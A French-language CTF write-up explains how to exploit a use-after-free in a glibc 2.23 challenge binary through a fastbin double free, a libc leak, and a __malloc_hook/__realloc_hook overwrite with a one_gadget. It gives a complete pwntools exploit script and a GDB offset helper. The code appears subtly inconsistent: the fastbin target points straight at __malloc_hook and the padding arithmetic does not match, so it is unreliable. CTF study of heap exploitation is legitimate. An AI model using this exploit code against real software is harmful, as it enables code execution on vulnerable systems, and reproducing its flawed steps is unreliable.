Exploitation d'une faille UAF par ajustement de pile avec realloc dans un challenge CTF

Analyse de la vulnérabilité et stratégie d'exploitation

Ce challenge CTF implémente une application de gestion de données avec une enterface de menu simple. La vulnérabilité principale est un Use-After-Free (UAF), sans fonction d'édition fournie. L'environnement utilise la libc version 2.23.

Approche technique pour contourner les protectiosn

L'exploitation suit un schéma classique de double free pour divulguer des adresses mémoire. Initialement, l'objectif est d'allouer un chunk dans la zone __malloc_hook et d'y écrire l'adresse d'un one_gadget. Cependant, tous les one_gadget disponibles échouent en raison de contraintes d'alignement de la pile.

La solution réside dans l'utilisation de la fonction realloc pour ajuster la pile avant l'exécution du one_gadget. Cette fonction contient des instructions de manipulation de pile (push/sub) qui modifient le pointeur de pile, créant ainsi une fenêtre d'opportunité.

Mécanisme de realloc et hooks

La fonction realloc interagit avec deux hooks : __malloc_hook et __realloc_hook. L'adresse de __realloc_hook se trouve juste avant __malloc_hook en mémoire. En plaçant l'adresse du one_gadget dans __realloc_hook et l'adresse de realloc + offset dans __malloc_hook, on peut contrôler l'exécution.

L'offset spécifique pour realloc doit être déterminé via débogage. Un script GDB personnalisé peut aider à calculer cet offset en cherchant des valeurs nulles dans la pile autour du pointeur courant :


def calculate_realloc_offset(condition):
    current_rsp = get_rsp_value()  # Suppose une fonction pour obtenir RSP
    max_addr = current_rsp + condition - 0x40
    min_addr = current_rsp + condition - 0x70
    pointer = min_addr
    count = 0
    offsets = []
    while pointer < max_addr:
        if memory_read(pointer) == 0:
            if count < 4:
                offsets.append(count * 2)
            elif count == 4:
                offsets.append(count * 2 + 3)
            elif count == 5:
                offsets.append(12)
            elif count == 6:
                offsets.append(16)
        count += 1
        pointer += 8
    # Vérifier une valeur spécifique à RSP+0x28
    if memory_read(current_rsp + 0x28) == 0:
        offsets.append(20)
    return offsets

Processus d'exploitation détaillé

Étapes clés :

  1. Allouer un chunk de taille supérieure à 0x80 pour le placer dans un unsorted bin, puis divulguer l'adresse de la libc via une opération de lecture.
  2. Réallouer ce chunk avant d'attaquer la double free, car la taille initiale (0x98) pourrait interférer avec les allocations ultérieures.
  3. Exécuter une double free sur des chunks de taille 0x70 pour contrôler la liste libre.
  4. Allouer des chunks successifs pour écraser le __malloc_hook avec l'adresse cible.

Script d'exploitation réécrit


from pwn import *

# Configuration initiale
target_process = process('./challenge')
libc = ELF('./libc.so.6')
context.arch = 'amd64'
context.log_level = 'info'

def allocate_chunk(size, name_data, info_data):
    target_process.sendlineafter(b'choice:', b'1')
    target_process.sendlineafter(b'size:', str(size).encode())
    target_process.sendafter(b'name:', name_data)
    target_process.sendafter(b'call:', info_data)

def read_chunk(index):
    target_process.sendlineafter(b'choice:', b'2')
    target_process.sendlineafter(b'index:', str(index).encode())

def free_chunk(index):
    target_process.sendlineafter(b'choice:', b'4')
    target_process.sendlineafter(b'index:', str(index).encode())

# Étape 1 : Fuite de l'adresse de la libc
allocate_chunk(0x98, b'A' * 0x98, b'Dummy')
free_chunk(0)
read_chunk(0)
leaked_addr = u64(target_process.recv(6).ljust(8, b'\x00'))
libc_base = leaked_addr - 0x3c4b78  # Offset spécifique à la version 2.23

# Étape 2 : Manipulation de la heap pour la double free
allocate_chunk(0x70, b'B' * 0x68, b'Fill')
allocate_chunk(0x68, b'C' * 0x68, b'Fill')
allocate_chunk(0x68, b'D' * 0x68, b'Fill')
free_chunk(2)
free_chunk(3)
free_chunk(2)

# Étape 3 : Écriture dans les hooks
malloc_hook_addr = libc_base + libc.symbols['__malloc_hook']
realloc_hook_addr = libc_base + libc.symbols['__realloc_hook']
realloc_func_addr = libc_base + libc.symbols['realloc']
one_gadget_addr = libc_base + 0x45216  # One gadget spécifique

# Allouer des chunks pour écraser les hooks
allocate_chunk(0x68, p64(malloc_hook_addr), b'Overwrite')
allocate_chunk(0x68, b'E' * 0x68, b'Fill')
allocate_chunk(0x68, b'F' * 0x68, b'Fill')
# Écrire le one_gadget dans realloc_hook et realloc+12 dans malloc_hook
payload = b'G' * (0x10 - 0x5) + p64(one_gadget_addr) + p64(realloc_func_addr + 12)
allocate_chunk(0x68, payload, b'Trigger')

# Déclencher l'exécution via une allocation
target_process.sendlineafter(b'choice:', b'1')
target_process.interactive()

Ce script démontre l'exploitation complète, en modfiiant les noms de variables et la structure pour plus de clarté. Les offsets doivent être ajustés en fonction de l'environnement cible.

Étiquettes: CTF realloc UAF one_gadget heap_exploitation

Publié le 11 juin à 04h35